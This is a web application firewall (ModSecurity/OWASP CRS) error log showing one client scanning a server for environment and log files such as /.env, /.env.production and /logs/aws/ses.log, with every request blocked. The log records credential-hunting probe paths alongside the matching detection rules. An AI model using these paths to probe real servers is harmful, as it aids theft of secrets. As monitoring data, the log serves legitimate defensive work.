[Sat Jul 26 14:23:44.385921 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd8-QAAAAM&quot;]
[Sat Jul 26 14:23:44.386165 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd8-QAAAAM&quot;]
[Sat Jul 26 14:23:44.386375 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd8-QAAAAM&quot;]
[Sat Jul 26 14:23:44.430837 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/aws/ses.log&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd8-wAAAAM&quot;]
[Sat Jul 26 14:23:44.431170 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/aws/ses.log&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd8-wAAAAM&quot;]
[Sat Jul 26 14:23:44.431350 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/aws/ses.log&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd8-wAAAAM&quot;]
[Sat Jul 26 14:23:44.453338 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /private/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd8_AAAAAM&quot;]
[Sat Jul 26 14:23:44.453569 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd8_AAAAAM&quot;]
[Sat Jul 26 14:23:44.453766 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd8_AAAAAM&quot;]
[Sat Jul 26 14:23:44.498819 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /portal/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd8_gAAAAM&quot;]
[Sat Jul 26 14:23:44.499055 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd8_gAAAAM&quot;]
[Sat Jul 26 14:23:44.499235 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd8_gAAAAM&quot;]
[Sat Jul 26 14:23:44.521116 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd8_wAAAAM&quot;]
[Sat Jul 26 14:23:44.521346 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd8_wAAAAM&quot;]
[Sat Jul 26 14:23:44.521522 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd8_wAAAAM&quot;]
[Sat Jul 26 14:23:44.543344 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9AAAAAAM&quot;]
[Sat Jul 26 14:23:44.543560 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9AAAAAAM&quot;]
[Sat Jul 26 14:23:44.543728 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9AAAAAAM&quot;]
[Sat Jul 26 14:23:44.565635 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9AQAAAAM&quot;]
[Sat Jul 26 14:23:44.565845 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9AQAAAAM&quot;]
[Sat Jul 26 14:23:44.566019 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9AQAAAAM&quot;]
[Sat Jul 26 14:23:44.587743 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9AgAAAAM&quot;]
[Sat Jul 26 14:23:44.587953 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9AgAAAAM&quot;]
[Sat Jul 26 14:23:44.588121 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9AgAAAAM&quot;]
[Sat Jul 26 14:23:44.610003 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9AwAAAAM&quot;]
[Sat Jul 26 14:23:44.610214 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9AwAAAAM&quot;]
[Sat Jul 26 14:23:44.610395 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9AwAAAAM&quot;]
[Sat Jul 26 14:23:44.632152 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9BAAAAAM&quot;]
[Sat Jul 26 14:23:44.632380 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9BAAAAAM&quot;]
[Sat Jul 26 14:23:44.632576 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9BAAAAAM&quot;]
[Sat Jul 26 14:23:44.654450 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9BQAAAAM&quot;]
[Sat Jul 26 14:23:44.654666 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9BQAAAAM&quot;]
[Sat Jul 26 14:23:44.654846 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9BQAAAAM&quot;]
